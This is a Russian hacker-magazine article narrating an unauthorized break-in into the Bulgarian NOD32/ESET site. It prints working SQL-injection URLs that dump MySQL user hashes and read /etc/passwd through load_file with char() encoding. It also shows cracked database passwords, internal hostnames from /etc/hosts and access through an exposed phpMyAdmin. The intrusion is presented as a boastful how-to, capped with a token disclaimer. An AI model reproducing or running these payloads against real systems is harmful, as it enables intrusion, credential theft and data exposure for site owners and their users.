Атака на NOD32
Вторжение на сервер популярного антивируса Леонид «R0id» Стройков
🕛 28.08.2008, 14:15
В последнее время меня начали раздражать конференции по информационной безопасности, на которых половину времени зачитывают доклады представители различных антивирусных компаний. Подумай сам, кто будет использовать коммерческий продукт без серьезной необходимости?? Не спорю, необходимость есть, вот только порой она сильно преувеличена. Тем не менее ведущие антивирусные лаборатории наращивают штаты своих специалистов, пытаясь поглотить рынок и частенько забывая о собственной безопасности. О чем это я? Да о свеженьком взломе сервера одного из представительств популярного антивируса NOD32. Думаю, ты уже догадался, что речь в статье пойдет именно о нем.Start Level
Одним из вечеров, бродя по Сети и занимаясь рутинной работой, я в очередной раз заметил на десктопе всплывающее окно NOD32 с предложением об апдейте баз. Нажав на кнопку «Yes», я обнаружил, что аккаунт, который ранее был любезно предоставлен одним из моих знакомых, оказался залоченным. Выругавшись, я полез в закладки браузера, чтобы отыскать ссылку на позабытый ресурс с халявными обновлениями для антивиря, но и тут меня ждал облом - линка и след простыл. Недолго думая я набрал адрес Гугла, вбил нехитрый запрос и принялся просматривать результаты поиска. Десятки форумов различной тематики, хак/варез-порталы - все это мигом хлынуло в мою Оперу, однако заниматься этим совершенно не входило в мои планы, поэтому, отыскав нужный линк, я свернул этот увлекательный процесс и перешел по найденному URL.
Увы, но вместо свежих антивирусных баз меня поджидал редирект, который вел в направлении www.eset.bg. Быть может, это событие так и осталось бы незамеченным, если бы не одно но. Указанный ресурс являлся официальным сайтом болгарского представительства NOD32. Злая шутка или ирония судьбы? Этот вопрос возник в моей голове и тут же пропал, зато вместо него появилось непреодолимое желание одним глазком взглянуть на сервер антивирусной компании. Изнутри =).
Первым делом я убедился, что оба домена - www.eset.bg и www.nod32.bg - располагаются на одном сервере. Об этом свидетельствовали показания утилы nslookup, определившей IP-адрес болгарского дедика: 89.25.53.73. Что ж, можно было приступать к работе, тем более что я успел заметить PHP'шный движок ресурса :). Погуляв по сайту, я наткнулся на админку, располагающуюся в стандартном каталоге - /admin. Как и следовало ожидать, все входящие данные строго фильтровались. Этот факт меня нисколько не удивил, а лишь подтвердил, что на быстрый взлом рассчитывать бесполезно (интересно, а кто на него надеялся? :)). Тем временем первая зацепка оказалась у меня в руках:
http://www.eset.bg/main.php?id=38&virusID=-1
Диагноз был категоричен - слепой SQL-инъект с возможностью лечения. Как выяснилось, на сервере крутилась MySQL версии 4.0.24, а прав юзера в базе хватало на доступ к mysql.user:
http://www.eset.bg/main.php?id=38&virusID=-1+union+all+select+1,2,concat(user,char(58),password,char(58),host),4,5,6,7,8+from+mysql.user+/*
Как ты знаешь, в мускуле ниже пятой версии все пассы пользователей хранятся в MySQL-хэшах, которые в 50% случаев без труда поддаются бруту. На этот раз мой хэш-улов состоял из более чем десятка аккаунтов, самые аппетитные из которых имели следующий вид (данные частично искажены по понятным причинам):
root:44b3e5527af37974:localhost
root:75047d7f64a1ve95:web
phpnod:12f6c0a1912e07d4:localhost
hordemgr:75047d7f64a1ve95:%
phpbb:73b3fb216f8de074:localhost
phpbb2:057d4245782c1df7:localhost
Несколько удивляло наличие двух рутов, хэши которых вместе с остальными моментально отправились на брут. Результат не заставил себя долго ждать, и через несколько минут один из паролей порадовал мой взор - «Vm0db». Вот только ни к админке, ни к SSH он не подходил.
Тогда я обратил внимание на форум: что-то подсказывало мне, что пасс пригодится именно там. Просмотрев профили юзеров, я выделил среди прочих админа с загадочным ником root :). Несомненно, админ форума был ярым линуксоидом; окончательно я убедился в этом, когда успешно залогинился под его аккаунтом: root:Vm0db. В радостном порыве я метнулся к админке, чтобы попробовать добытую пару логин/пароль и там, но на этот раз мне не повезло, и я вынужден был вернуться на форум.
Но у меня оставался еще один шанс - залить шелл через админку форума, благо движок борды оказался печально изветным phpbb :). Для этого мне требовалось найти полный путь к каталогу форума, после чего сделать бэкап базы, внести в него пару «корректировок» и замутить восстановление БД через всю ту же админку phpbb. Идея была проста и заманчива, вот только версия форума оказалась пропатченной дальше некуда, в результате чего ни один из известных багов так и не помог вызвать ошибку с раскрытием путей установочных каталогов. Я призадумался. Ситуация все больше походила на тупиковую, и нужно было срочно пересматривать свои действия, но время, проведенное за взломом, давало о себе знать, и силы постепенно покидали меня. За окном уже давно рассвело, и я принял решение отправиться спать, предварительно закатав дамп базы форума (на всякий пожарный :)).
Level Up
Проснувшись далеко за полдень и наскоро поев, я приконнектился к Сети, где меня ждал Сюрприз. Да-да, именно вот так - с большой буквы: Сюрприз :). Нет, админ не пропатчил баг и не лишил меня возможности админить форум, отнюдь. А вот некоторые из стыренных ночью мускул-хэшей успешно сбрутились, пока я спал :). Таким образом, я получил несколько аккаунтов к БД на сервере NOD32:
hordemgr:WeB_PaSs
phpbb2:fm0dbD
phpbb:bDn0B
phpnod:fm0dpHt
Но еще большую радость я испытал, когда мой взгляд переместился на рут-хэши. Дело в том, что один из них полностью совпадал с хэшем пароля пользователя hordemgr:
root:75047d7f64a1ve95
hordemgr:75047d7f64a1ve95
Это означало лишь одно - у меня в руках был заветный акк:
root:WeB_PaSs
Но и здесь не все прошло гладко: пасс не подходил ни на SSH, ни на FTP, ни на основную админку сайта. Тогда я зааплоадил MySQL-клиент от RST на один из своих поломанных ресурсов и попробовал подключиться к базе удаленно:
http://www.xxx.com/images/sql.php?s=y&login=
hordemgr&passwd=WeB_PaSs&server=89.25.53.73&port=3306
Почему hordemgr, а не root, спросишь ты? Просто у юзера hordemgr в поле host стоял заветный символ «%» (согласно данным из mysql.user). Однако все мои старания были тщетны - вместо доступа к БД я лицезрел еrrоr, злой рок неотступно следовал за мной. От безысходности своего положения я стал теребить уже заюзанный SQL-инъект и вдруг сообразил, что совершенно забыл проверить наличие прав file_priv. Я наскоро сформировал кверю:
https://www.nod32.bg/main.php?id=38&virusID=-1+union+all+
select+1,2,3,4,load_file('/etc/passwd'),6,7,8+/*
И в качестве ответа она вернула пустую страницу. Тогда я смело заюзал char(), несколько видоизменив запрос к базе:
https://nod32.bg/main.php?id=38&virusID=-1+union+all+select+
1,2,3,4,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,7,8+/*
К моему удивлению, содержимое passwd висело в окне моего браузера:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
..
Что ж, следующим логичным действием было бы чтение сорцов движка ресурса и всевозможных конфигов. Я решил начать с Апача и тут же обломался - найти его конфиг оказалось не так-то легко. Тогда было решено редиректить свою активность на определение пути до корня веб-каталога. Покопавшись в /etc/passwd, я выудил две любопытные записи:
www-data:x:33:33:www-data:/var/www:/bin/sh
web:x:1002:0:,,,:/var/www:/bin/bash
Вероятно, первая часть пути имела вид /var/www, но, что было внутри, оставалось загадкой. Пофантазировав, я выделил наиболее реальные варианты:
public_html
htdocs
html
pub
www
www_pub
www_html
Забегая вперед, скажу, что ни один из них не дал положительного результата. Поковыряв баг еще с час, я приуныл. Без знания пути до веб-каталога дальнейшее осуществление взлома накрывалось, да и инфу в каталогах юзеров нащупать не удавалось. Обидно было останавливаться, не дойдя до финишной черты. Запустив сканирование веб-директорий, я надеялся найти phpmyadmin или каталоги с неправильно выставленными чмодами. Но, увы, не повезло мне и здесь. Тогда я машинально полез в файл /etc/hosts и обнаружил там любопытную запись:
localhost.localdomain localhost
89.25.53.73 web.nod32.bg web
89.25.53.74 partners.nod32.bg partners
89.25.53.71 gateway.nod32.bg gateway
89.25.53.72 stats.nod32.bg stats
Обрати внимание на поддомен web.nod32.bg. Перейдя по адресу http://web.nod32.bg, я попал на тестовую страницу Апача :). Скрестив пальцы, я вбил в адресной строке браузера линк:
http://web.nod32.bg/phpmyadmin/
И увидел установленный и готовый к работе phpMyAdmin! Победа была за мной! Уже через пару минут я вовсю орудовал в базе (используя сбрученные пассы :)). Что было внутри, не скажу - военная тайна. Важно одно - помимо доступа на чтение файлов на сервере и админки форума, я имел полноценный доступ к БД антивирусной конторы :).
End Of Game
Вдоволь наигравшись с базой и от души поглумившись над болгарским представительством NOD32, я почистил хистори Оперы и закрыл браузер. Запустив Outlook и прикинув текст письма, я черканул несколько строк админу ресурса с указанием на имеющиеся баги. Задумавшись я уставился в монитор, и лишь только вновь всплывшее окошко любимого антивиря с предложением об апдейте баз вернуло меня к реальности :).
Danger
Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!
Info
Пробуй всевозможные варианты и никогда не сдавайся.
Не забывай проверять стандартно установленный на сервере софт, как, например, в моем случае phpmyadmin.